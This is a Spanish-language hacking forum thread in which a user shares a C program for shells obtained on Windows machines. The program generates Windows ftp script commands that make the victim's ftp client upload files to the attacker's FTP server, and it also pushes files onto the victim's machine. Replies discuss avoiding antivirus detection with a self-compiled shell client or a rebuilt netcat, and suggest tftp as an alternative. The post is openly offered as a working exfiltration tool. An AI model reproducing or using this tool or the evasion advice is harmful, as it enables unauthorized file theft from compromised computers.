Hola a todos!
soy nuevo aqui, aunque os llevo leyendo muucho tiempo, para estrenarme os pongo un programilla de cosecha propia xD
El problema se me planteo cuando conseguí mis primeras shell de pcs bajo windows, dices vale, ya tengo la shell, pero ahora como me bajo ese fichero??
Las soluciones son varias, pero si te decantas por usar el ftp de la maquina remota, puede ser muy laborioso. Así que la misión de este programa en C es automatizar el proceso.
El programa lee de la entrada estandar, y manda a la shell remota por un pipe, por ejemplo, si usamos netcat:
interfaz | nc -l -p puerto -vv
el progamilla lee de la entrada estanar y lo envia a nc tal cual, escepto los comando reservados, que son:
get fichero
put fichero
mget ficheros
mput ficheros
(mget y mput se pueden usar por ejemplo así: mget *.jpg)
ya os podeis imaginar que hacen esos comandos xD
No lo he probado en guidous pero en Linux va de lujo jeje
el código es criticable jaja, pero me salió asi:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
main(){
char buffer[100], rutaa[50]="c:\\system.txt", fichero[50];
int i, fd[2];
char user[]="usuario", pass[]="contraseña", ip[]="ftp donde vamos a subir los ficheros";
pipe(fd);
for(;;){
if(i=fork()==0){
close(fd[0]);
bzero(buffer, sizeof(buffer));
bzero(fichero, sizeof(fichero));
fgets(buffer,101, stdin);
if(buffer[0]=='g' && buffer[1]=='e' && buffer[2]=='t' && buffer[3]==' '){
memcpy(fichero, strchr(buffer, ' ')+1, -(strchr(buffer, ' ')+1 -strchr(buffer, '\n')));
printf("echo o >%s\necho %s >>%s\necho %s>>%s\necho %s>>%s\necho put %s>>%s\necho quit>>%s\nftp -s:%s\ndel %s\n",rutaa, ip, rutaa, user, rutaa, pass, rutaa, fichero, rutaa,rutaa, rutaa,rutaa);
fflush(NULL);
}else if(buffer[0]=='m' && buffer[1]=='g' && buffer[2]=='e' && buffer[3]=='t' && buffer[4]==' '){
memcpy(fichero, strchr(buffer, ' ')+1, -(strchr(buffer, ' ')+1 -strchr(buffer, '\n')));
printf("echo o >%s\necho %s >>%s\necho %s>>%s\necho %s>>%s\necho prompt off>>%s\necho mput %s>>%s\necho quit>>%s\nftp -s:%s\ndel %s\n",rutaa, ip, rutaa, user, rutaa, pass, rutaa, rutaa, fichero, rutaa,rutaa, rutaa,rutaa);
fflush(NULL);
}else if(buffer[0]=='p' && buffer[1]=='u' && buffer[2]=='t' && buffer[3]==' '){
memcpy(fichero, strchr(buffer, ' ')+1, -(strchr(buffer, ' ')+1 -strchr(buffer, '\n')));
printf("echo o >%s\necho %s >>%s\necho %s>>%s\necho %s>>%s\necho get %s>>%s\necho quit>>%s\nftp -s:%s\ndel %s\n",rutaa, ip, rutaa, user, rutaa, pass, rutaa, fichero, rutaa,rutaa, rutaa,rutaa);
fflush(NULL);
}else if(buffer[0]=='m' && buffer[1]=='p' && buffer[2]=='u' && buffer[3]=='t' && buffer[4]==' '){
memcpy(fichero, strchr(buffer, ' ')+1, -(strchr(buffer, ' ')+1 -strchr(buffer, '\n')));
printf("echo o >%s\necho %s >>%s\necho %s>>%s\necho %s>>%s\necho prompt off>>%s\necho mget %s>>%s\necho quit>>%s\nftp -s:%s\ndel %s\n",rutaa, ip, rutaa, user, rutaa, pass, rutaa, rutaa, fichero, rutaa,rutaa, rutaa,rutaa);
fflush(NULL);
}else{
printf("%s",buffer);
write(fd[1], "", 1);
close(fd[1]);
exit(0);
}
}else{
read(fd[0], NULL, 1);
wait(NULL);
}
}
}
Espero que a alguien le sirva
Saludos
Muchas gracias :)
Una vez mas se ve como cada uno se crea sus mini-tools para ir saliendo del paso (para los que decian que no era necesario saber programar en nada para hacer estas cosas)
Saludos
el netcat es detectado por la mayoria de los AVs... como troyano.
Exagerados :(
Of course, NetCat is a tool for transmitting data across network connections and may allow unauthorized access.
No sé si nc es detectado por los antivirus, porque nunca he probado nc en un sistema windows.
Lo que yo aqui propongo es una interfaz para usar el ftp de un pc remoto, es decir, este programa introduce comandos en la shell de otro pc (que debe tener el cliente ftp de windows).
Yo en ningun momento he dicho que tengas que usar nc para obtener la shell.
En el ejemplo que he puesto, uso netcat como cliente (en mi pc), pero en el lado de la victima, no uso netcat uso otro programa que no es detectado por ningun antivirus porque también es hecho y compilado por mi.
Incluso si no quieres empezar de 0, puedes compilar tu propia version de nc. El código fuente es abierto.
Saludos ;)
ya lo he probado incluso haciendo cat archivo |nc.. y despues nc -v > archivo y hay problemas con la codificación de carácteres de la consola, el traspaso de ficheros sirve para archivos ascii pero no binarios :(, podrías hacer una versión mas directa con sockets, similar a wget pero con servidor incluido
no entiendo bien cual es tu problema.
pienso que no has ententendido cual es el propósito del programa.
quizas no me haya explicado bien.
Una forma de ver lo que hace es ejecutar el programa tal cual sin tuberias (pipes)
y usar los comando reservados, por ejemplo:
get fichero.jpg
Los que el programa imprime por la salida estandar, son los comando necesarios para que el ftp DE LA VICTIMA, envia fichero.jpg a MI servidor ftp (cuya direccion y usuario introducimos en el código, al principio)
Para poder introducir esos comandos en el cliente ftp de la victima necesitamos su shell, y se lo pasamos mediante un pipe "|"
Espero que te haya servido de algo
saludos
lo mejor es usar el tftp de windows...